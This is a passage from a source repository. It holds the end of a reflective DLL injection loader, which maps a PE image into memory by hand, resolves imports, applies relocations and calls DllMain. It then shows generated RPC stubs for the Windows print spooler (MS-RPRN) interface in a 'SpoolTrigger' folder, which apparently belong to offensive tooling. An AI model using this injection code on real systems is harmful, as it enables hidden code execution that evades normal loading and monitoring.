| 296 | // copy the section over 297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 298 | 299 | while (uiValueD--) 300 | *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; 301 | 302 | // get the VA of the next section 303 | uiValueA += sizeof(IMAGE_SECTION_HEADER); 304 | } 305 | 306 | // STEP 4: process our images import table... 307 | 308 | // uiValueB = the address of the import directory 309 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 310 | 311 | // we assume their is an import table to process 312 | // uiValueC is the first entry in the import table 313 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 314 | 315 | // itterate through all imports 316 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) 317 | { 318 | // use LoadLibraryA to load the imported module into memory 319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); 320 | 321 | // uiValueD = VA of the OriginalFirstThunk 322 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); 323 | 324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 325 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); 326 | 327 | // itterate through all imported functions, importing by ordinal if no name present 328 | while (DEREF(uiValueA)) 329 | { 330 | // sanity check uiValueD as some compilers only import by FirstThunk 331 | if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) 332 | { 333 | // get the VA of the modules NT Header 334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 335 | 336 | // uiNameArray = the address of the modules export directory entry 337 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 338 | 339 | // get the VA of the export directory 340 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 341 | 342 | // get the VA for the array of addresses 343 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 344 | 345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 346 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); 347 | 348 | // patch in the address for this imported function 349 | DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); 350 | } 351 | else 352 | { 353 | // get the VA of this functions import by name struct 354 | uiValueB = (uiBaseAddress + DEREF(uiValueA)); 355 | 356 | // use GetProcAddress and patch in the address for this imported function 357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); 358 | } 359 | // get the next imported function 360 | uiValueA += sizeof(ULONG_PTR); 361 | if (uiValueD) 362 | uiValueD += sizeof(ULONG_PTR); 363 | } 364 | 365 | // get the next import 366 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); 367 | } 368 | 369 | // STEP 5: process all of our images relocations... 370 | 371 | // calculate the base address delta and perform relocations (even if we load at desired image base) 372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 373 | 374 | // uiValueB = the address of the relocation directory 375 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 376 | 377 | // check if their are any relocations present 378 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) 379 | { 380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 381 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 382 | 383 | // and we itterate through all entries... 384 | while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) 385 | { 386 | // uiValueA = the VA for this relocation block 387 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); 388 | 389 | // uiValueB = number of entries in this relocation block 390 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); 391 | 392 | // uiValueD is now the first entry in the current relocation block 393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 394 | 395 | // we itterate through all the entries in the current block... 396 | while (uiValueB--) 397 | { 398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 399 | // we dont use a switch statement to avoid the compiler building a jump table 400 | // which would not be very position independent! 401 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) 402 | *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 403 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) 404 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 405 | #ifdef WIN_ARM 406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 407 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) 408 | { 409 | register DWORD dwInstruction; 410 | register DWORD dwAddress; 411 | register WORD wImm; 412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 413 | dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); 414 | // flip the words to get the instruction as expected 415 | dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); 416 | // sanity chack we are processing a MOV instruction... 417 | if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) 418 | { 419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 420 | wImm = (WORD)(dwInstruction & 0x000000FF); 421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 424 | // apply the relocation to the target address 425 | dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; 426 | // now create a new instruction with the same opcode and register param. 427 | dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); 428 | // patch in the relocated address... 429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 433 | // now flip the instructions words and patch back into the code... 434 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); 435 | } 436 | } 437 | #endif 438 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) 439 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 440 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) 441 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 442 | 443 | // get the next entry in the current relocation block 444 | uiValueD += sizeof(IMAGE_RELOC); 445 | } 446 | 447 | // get the next entry in the relocation directory 448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 449 | } 450 | } 451 | 452 | // STEP 6: call our images entry point 453 | 454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 455 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); 456 | 457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 458 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0); 459 | 460 | // call our respective entry point, fudging our hInstance value 461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 463 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); 464 | #else 465 | // if we are injecting an DLL via a stub we call DllMain with no parameter 466 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); 467 | #endif 468 | 469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 470 | return uiValueA; 471 | } 472 | //===============================================================================================// 473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 474 | 475 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) 476 | { 477 | BOOL bReturnValue = TRUE; 478 | switch (dwReason) 479 | { 480 | case DLL_QUERY_HMODULE: 481 | if (lpReserved != NULL) 482 | *(HMODULE*)lpReserved = hAppInstance; 483 | break; 484 | case DLL_PROCESS_ATTACH: 485 | hAppInstance = hinstDLL; 486 | break; 487 | case DLL_PROCESS_DETACH: 488 | case DLL_THREAD_ATTACH: 489 | case DLL_THREAD_DETACH: 490 | break; 491 | } 492 | return bReturnValue; 493 | } 494 | 495 | #endif 496 | //===============================================================================================// -------------------------------------------------------------------------------- /SpoolTrigger/ms-rprn_s.c: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* this ALWAYS GENERATED file contains the RPC server stubs */ 4 | 5 | 6 | /* File created by MIDL compiler version 8.01.0622 */ 7 | /* at Tue Jan 19 03:14:07 2038 8 | */ 9 | /* Compiler settings for ms-rprn.idl: 10 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 11 | protocol : all , ms_ext, c_ext, robust 12 | error checks: allocation ref bounds_check enum stub_data 13 | VC __declspec() decoration level: 14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 15 | DECLSPEC_UUID(), MIDL_INTERFACE() 16 | */ 17 | /* @@MIDL_FILE_HEADING( ) */ 18 | 19 | #if defined(_M_AMD64) 20 | 21 | 22 | #if _MSC_VER >= 1200 23 | #pragma warning(push) 24 | #endif 25 | 26 | #pragma warning( disable: 4211 ) /* redefine extern to static */ 27 | #pragma warning( disable: 4232 ) /* dllimport identity*/ 28 | #pragma warning( disable: 4024 ) /* array to pointer mapping*/ 29 | 30 | #include 31 | #include "ms-rprn_h.h" 32 | 33 | #define TYPE_FORMAT_STRING_SIZE 135 34 | #define PROC_FORMAT_STRING_SIZE 2383 35 | #define EXPR_FORMAT_STRING_SIZE 1 36 | #define TRANSMIT_AS_TABLE_SIZE 0 37 | #define WIRE_MARSHAL_TABLE_SIZE 0 38 | 39 | typedef struct _ms2Drprn_MIDL_TYPE_FORMAT_STRING 40 | { 41 | short Pad; 42 | unsigned char Format[ TYPE_FORMAT_STRING_SIZE ]; 43 | } ms2Drprn_MIDL_TYPE_FORMAT_STRING; 44 | 45 | typedef struct _ms2Drprn_MIDL_PROC_FORMAT_STRING 46 | { 47 | short Pad; 48 | unsigned char Format[ PROC_FORMAT_STRING_SIZE ]; 49 | } ms2Drprn_MIDL_PROC_FORMAT_STRING; 50 | 51 | typedef struct _ms2Drprn_MIDL_EXPR_FORMAT_STRING 52 | { 53 | long Pad; 54 | unsigned char Format[ EXPR_FORMAT_STRING_SIZE ]; 55 | } ms2Drprn_MIDL_EXPR_FORMAT_STRING; 56 | 57 | 58 | static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax = 59 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}; 60 | 61 | static const RPC_SYNTAX_IDENTIFIER _NDR64_RpcTransferSyntax = 62 | {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}}; 63 | 64 | 65 | extern const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString; 66 | extern const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString; 67 | extern const ms2Drprn_MIDL_EXPR_FORMAT_STRING ms2Drprn__MIDL_ExprFormatString; 68 | 69 | /* Standard interface: winspool, ver. 1.0, 70 | GUID={0x12345678,0x1234,0xABCD,{0xEF,0x00,0x01,0x23,0x45,0x67,0x89,0xAB}} */ 71 | 72 | 73 | extern const MIDL_SERVER_INFO winspool_ServerInfo; 74 | static const RPC_PROTSEQ_ENDPOINT __RpcProtseqEndpoint[] = 75 | { 76 | {(unsigned char *) "ncacn_np", (unsigned char *) "\\pipe\\spoolss"} 77 | }; 78 | 79 | 80 | extern const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable; 81 | 82 | static const RPC_SERVER_INTERFACE winspool___RpcServerInterface = 83 | { 84 | sizeof(RPC_SERVER_INTERFACE), 85 | {{0x12345678,0x1234,0xABCD,{0xEF,0x00,0x01,0x23,0x45,0x67,0x89,0xAB}},{1,0}}, 86 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, 87 | (RPC_DISPATCH_TABLE*)&winspool_v1_0_DispatchTable, 88 | 1, 89 | (RPC_PROTSEQ_ENDPOINT *)__RpcProtseqEndpoint, 90 | 0, 91 | &winspool_ServerInfo, 92 | 0x06000000 93 | }; 94 | RPC_IF_HANDLE winspool_v1_0_s_ifspec = (RPC_IF_HANDLE)& winspool___RpcServerInterface; 95 | 96 | extern const MIDL_STUB_DESC winspool_StubDesc; 97 | 98 | extern const NDR_RUNDOWN RundownRoutines[]; 99 | 100 | #if !defined(__RPC_WIN64__) 101 | #error Invalid build platform for this stub. 102 | #endif 103 | 104 | static const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString = 105 | { 106 | 0, 107 | { 108 | 109 | /* Procedure RpcEnumPrinters */ 110 | 111 | 0x0, /* 0 */ 112 | 0x48, /* Old Flags: */ 113 | /* 2 */ NdrFcLong( 0x0 ), /* 0 */ 114 | /* 6 */ NdrFcShort( 0x0 ), /* 0 */ 115 | /* 8 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 116 | /* 10 */ 0x32, /* FC_BIND_PRIMITIVE */ 117 | 0x0, /* 0 */ 118 | /* 12 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 119 | /* 14 */ NdrFcShort( 0x0 ), /* 0 */ 120 | /* 16 */ NdrFcShort( 0x8 ), /* 8 */ 121 | /* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */ 122 | 0x1, /* 1 */ 123 | /* 20 */ 0xa, /* 10 */ 124 | 0x1, /* Ext Flags: new corr desc, */ 125 | /* 22 */ NdrFcShort( 0x0 ), /* 0 */ 126 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */ 127 | /* 26 */ NdrFcShort( 0x0 ), /* 0 */ 128 | /* 28 */ NdrFcShort( 0x0 ), /* 0 */ 129 | 130 | /* Return value */ 131 | 132 | /* 30 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 133 | /* 32 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 134 | /* 34 */ 0x8, /* FC_LONG */ 135 | 0x0, /* 0 */ 136 | 137 | /* Procedure RpcOpenPrinter */ 138 | 139 | /* 36 */ 0x0, /* 0 */ 140 | 0x48, /* Old Flags: */ 141 | /* 38 */ NdrFcLong( 0x0 ), /* 0 */ 142 | /* 42 */ NdrFcShort( 0x1 ), /* 1 */ 143 | /* 44 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ 144 | /* 46 */ 0x31, /* FC_BIND_GENERIC */ 145 | 0x8, /* 8 */ 146 | /* 48 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 147 | /* 50 */ 0x0, /* 0 */ 148 | 0x5c, /* FC_PAD */ 149 | /* 52 */ NdrFcShort( 0x8 ), /* 8 */ 150 | /* 54 */ NdrFcShort( 0x40 ), /* 64 */ 151 | /* 56 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ 152 | 0x6, /* 6 */ 153 | /* 58 */ 0xa, /* 10 */ 154 | 0x5, /* Ext Flags: new corr desc, srv corr check, */ 155 | /* 60 */ NdrFcShort( 0x0 ), /* 0 */ 156 | /* 62 */ NdrFcShort( 0x1 ), /* 1 */ 157 | /* 64 */ NdrFcShort( 0x0 ), /* 0 */ 158 | /* 66 */ NdrFcShort( 0x0 ), /* 0 */ 159 | 160 | /* Parameter pPrinterName */ 161 | 162 | /* 68 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 163 | /* 70 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 164 | /* 72 */ NdrFcShort( 0x2 ), /* Type Offset=2 */ 165 | 166 | /* Parameter pHandle */ 167 | 168 | /* 74 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ 169 | /* 76 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 170 | /* 78 */ NdrFcShort( 0xa ), /* Type Offset=10 */ 171 | 172 | /* Parameter pDatatype */ 173 | 174 | /* 80 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 175 | /* 82 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 176 | /* 84 */ NdrFcShort( 0x2 ), /* Type Offset=2 */ 177 | 178 | /* Parameter pDevModeContainer */ 179 | 180 | /* 86 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ 181 | /* 88 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 182 | /* 90 */ NdrFcShort( 0x1e ), /* Type Offset=30 */ 183 | 184 | /* Parameter AccessRequired */ 185 | 186 | /* 92 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 187 | /* 94 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 188 | /* 96 */ 0x8, /* FC_LONG */ 189 | 0x0, /* 0 */ 190 | 191 | /* Return value */ 192 | 193 | /* 98 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 194 | /* 100 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 195 | /* 102 */ 0x8, /* FC_LONG */ 196 | 0x0, /* 0 */ 197 | 198 | /* Procedure RpcSetJob */ 199 | 200 | /* 104 */ 0x0, /* 0 */ 201 | 0x48, /* Old Flags: */ 202 | /* 106 */ NdrFcLong( 0x0 ), /* 0 */ 203 | /* 110 */ NdrFcShort( 0x2 ), /* 2 */ 204 | /* 112 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 205 | /* 114 */ 0x32, /* FC_BIND_PRIMITIVE */ 206 | 0x0, /* 0 */ 207 | /* 116 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 208 | /* 118 */ NdrFcShort( 0x0 ), /* 0 */ 209 | /* 120 */ NdrFcShort( 0x8 ), /* 8 */ 210 | /* 122 */ 0x44, /* Oi2 Flags: has return, has ext, */ 211 | 0x1, /* 1 */ 212 | /* 124 */ 0xa, /* 10 */ 213 | 0x1, /* Ext Flags: new corr desc, */ 214 | /* 126 */ NdrFcShort( 0x0 ), /* 0 */ 215 | /* 128 */ NdrFcShort( 0x0 ), /* 0 */ 216 | /* 130 */ NdrFcShort( 0x0 ), /* 0 */ 217 | /* 132 */ NdrFcShort( 0x0 ), /* 0 */ 218 | 219 | /* Return value */ 220 | 221 | /* 134 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 222 | /* 136 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 223 | /* 138 */ 0x8, /* FC_LONG */ 224 | 0x0, /* 0 */ 225 | 226 | /* Procedure RpcGetJob */ 227 | 228 | /* 140 */ 0x0, /* 0 */ 229 | 0x48, /* Old Flags: */ 230 | /* 142 */ NdrFcLong( 0x0 ), /* 0 */ 231 | /* 146 */ NdrFcShort( 0x3 ), /* 3 */ 232 | /* 148 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 233 | /* 150 */ 0x32, /* FC_BIND_PRIMITIVE */ 234 | 0x0, /* 0 */ 235 | /* 152 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 236 | /* 154 */ NdrFcShort( 0x0 ), /* 0 */ 237 | /* 156 */ NdrFcShort( 0x8 ), /* 8 */ 238 | /* 158 */ 0x44, /* Oi2 Flags: has return, has ext, */ 239 | 0x1, /* 1 */ 240 | /* 160 */ 0xa, /* 10 */ 241 | 0x1, /* Ext Flags: new corr desc, */ 242 | /* 162 */ NdrFcShort( 0x0 ), /* 0 */ 243 | /* 164 */ NdrFcShort( 0x0 ), /* 0 */ 244 | /* 166 */ NdrFcShort( 0x0 ), /* 0 */ 245 | /* 168 */ NdrFcShort( 0x0 ), /* 0 */ 246 | 247 | /* Return value */ 248 | 249 | /* 170 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 250 | /* 172 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 251 | /* 174 */ 0x8, /* FC_LONG */ 252 | 0x0, /* 0 */ 253 | 254 | /* Procedure RpcEnumJobs */ 255 | 256 | /* 176 */ 0x0, /* 0 */ 257 | 0x48, /* Old Flags: */ 258 | /* 178 */ NdrFcLong( 0x0 ), /* 0 */ 259 | /* 182 */ NdrFcShort( 0x4 ), /* 4 */ 260 | /* 184 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 261 | /* 186 */ 0x32, /* FC_BIND_PRIMITIVE */ 262 | 0x0, /* 0 */ 263 | /* 188 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 264 | /* 190 */ NdrFcShort( 0x0 ), /* 0 */ 265 | /* 192 */ NdrFcShort( 0x8 ), /* 8 */ 266 | /* 194 */ 0x44, /* Oi2 Flags: has return, has ext, */ 267 | 0x1, /* 1 */ 268 | /* 196 */ 0xa, /* 10 */ 269 | 0x1, /* Ext Flags: new corr desc, */ 270 | /* 198 */ NdrFcShort( 0x0 ), /* 0 */ 271 | /* 200 */ NdrFcShort( 0x0 ), /* 0 */ 272 | /* 202 */ NdrFcShort( 0x0 ), /* 0 */ 273 | /* 204 */ NdrFcShort( 0x0 ), /* 0 */ 274 | 275 | /* Return value */ 276 | 277 | /* 206 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 278 | /* 208 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 279 | /* 210 */ 0x8, /* FC_LONG */ 280 | 0x0, /* 0 */ 281 | 282 | /* Procedure RpcAddPrinter */ 283 | 284 | /* 212 */ 0x0, /* 0 */ 285 | 0x48, /* Old Flags: */ 286 | /* 214 */ NdrFcLong( 0x0 ), /* 0 */ 287 | /* 218 */ NdrFcShort( 0x5 ), /* 5 */ 288 | /* 220 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 289 | /* 222 */ 0x32, /* FC_BIND_PRIMITIVE */ 290 | 0x0, /* 0 */ 291 | /* 224 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 292 | /* 226 */ NdrFcShort( 0x0 ), /* 0 */ 293 | /* 228 */ NdrFcShort( 0x8 ), /* 8 */ 294 | /* 230 */ 0x44, /* Oi2 Flags: has return, has ext, */ 295 | 0x1, /* 1 */ 296 | /* 232 */ 0xa, /* 10 */ 297 | 0x1, /* Ext Flags: new corr desc, */ 298 | /* 234 */ NdrFcShort( 0x0 ), /* 0 */ 299 | /* 236 */ NdrFcShort( 0x0 ), /* 0 */ 300 | /* 238 */ NdrFcShort( 0x0 ), /* 0 */ 301 | /* 240 */ NdrFcShort( 0x0 ), /* 0 */ 302 | 303 | /* Return value */ 304 | 305 | /* 242 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 306 | /* 244 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 307 | /* 246 */ 0x8, /* FC_LONG */ 308 | 0x0, /* 0 */ 309 | 310 | /* Procedure RpcDeletePrinter */ 311 | 312 | /* 248 */ 0x0, /* 0 */ 313 | 0x48, /* Old Flags: */ 314 | /* 250 */ NdrFcLong( 0x0 ), /* 0 */ 315 | /* 254 */ NdrFcShort( 0x6 ), /* 6 */ 316 | /* 256 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 317 | /* 258 */ 0x32, /* FC_BIND_PRIMITIVE */ 318 | 0x0, /* 0 */ 319 | /* 260 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 320 | /* 262 */ NdrFcShort( 0x0 ), /* 0 */ 321 | /* 264 */ NdrFcShort( 0x8 ), /* 8 */ 322 | /* 266 */ 0x44, /* Oi2 Flags: has return, has ext, */ 323 | 0x1, /* 1 */ 324 | /* 268 */ 0xa, /* 10 */ 325 | 0x1, /* Ext Flags: new corr desc, */ 326 | /* 270 */ NdrFcShort( 0x0 ), /* 0 */ 327 | /* 272 */ NdrFcShort( 0x0 ), /* 0 */ 328 | /* 274 */ NdrFcShort( 0x0 ), /* 0 */ 329 | /* 276 */ NdrFcShort( 0x0 ), /* 0 */ 330 | 331 | /* Return value */ 332 | 333 | /* 278 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 334 | /* 280 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 335 | /* 282 */ 0x8, /* FC_LONG */ 336 | 0x0, /* 0 */ 337 | 338 | /* Procedure RpcSetPrinter */ 339 | 340 | /* 284 */ 0x0, /* 0 */ 341 | 0x48, /* Old Flags: */ 342 | /* 286 */ NdrFcLong( 0x0 ), /* 0 */ 343 | /* 290 */ NdrFcShort( 0x7 ), /* 7 */ 344 | /* 292 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 345 | /* 294 */ 0x32, /* FC_BIND_PRIMITIVE */ 346 | 0x0, /* 0 */ 347 | /* 296 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 348 | /* 298 */ NdrFcShort( 0x0 ), /* 0 */ 349 | /* 300 */ NdrFcShort( 0x8 ), /* 8 */ 350 | /* 302 */ 0x44, /* Oi2 Flags: has return, has ext, */ 351 | 0x1, /* 1 */ 352 | /* 304 */ 0xa, /* 10 */ 353 | 0x1, /* Ext Flags: new corr desc, */ 354 | /* 306 */ NdrFcShort( 0x0 ), /* 0 */ 355 | /* 308 */ NdrFcShort( 0x0 ), /* 0 */ 356 | /* 310 */ NdrFcShort( 0x0 ), /* 0 */ 357 | /* 312 */ NdrFcShort( 0x0 ), /* 0 */ 358 | 359 | /* Return value */ 360 | 361 | /* 314 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 362 | /* 316 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 363 | /* 318 */ 0x8, /* FC_LONG */ 364 | 0x0, /* 0 */ 365 | 366 | /* Procedure RpcGetPrinter */ 367 | 368 | /* 320 */ 0x0, /* 0 */ 369 | 0x48, /* Old Flags: */ 370 | /* 322 */ NdrFcLong( 0x0 ), /* 0 */ 371 | /* 326 */ NdrFcShort( 0x8 ), /* 8 */ 372 | /* 328 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 373 | /* 330 */ 0x32, /* FC_BIND_PRIMITIVE */ 374 | 0x0, /* 0 */ 375 | /* 332 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 376 | /* 334 */ NdrFcShort( 0x0 ), /* 0 */ 377 | /* 336 */ NdrFcShort( 0x8 ), /* 8 */ 378 | /* 338 */ 0x44, /* Oi2 Flags: has return, has ext, */ 379 | 0x1, /* 1 */ 380 | /* 340 */ 0xa, /* 10 */ 381 | 0x1, /* Ext Flags: new corr desc, */ 382 | /* 342 */ NdrFcShort( 0x0 ), /* 0 */ 383 | /* 344 */ NdrFcShort( 0x0 ), /* 0 */ 384 | /* 346 */ NdrFcShort( 0x0 ), /* 0 */ 385 | /* 348 */ NdrFcShort( 0x0 ), /* 0 */ 386 | 387 | /* Return value */ 388 | 389 | /* 350 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 390 | /* 352 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 391 | /* 354 */ 0x8, /* FC_LONG */ 392 | 0x0, /* 0 */ 393 | 394 | /* Procedure RpcAddPrinterDriver */ 395 | 396 | /* 356 */ 0x0, /* 0 */ 397 | 0x48, /* Old Flags: */ 398 | /* 358 */ NdrFcLong( 0x0 ), /* 0 */ 399 | /* 362 */ NdrFcShort( 0x9 ), /* 9 */ 400 | /* 364 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 401 | /* 366 */ 0x32, /* FC_BIND_PRIMITIVE */ 402 | 0x0, /* 0 */ 403 | /* 368 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 404 | /* 370 */ NdrFcShort( 0x0 ), /* 0 */ 405 | /* 372 */ NdrFcShort( 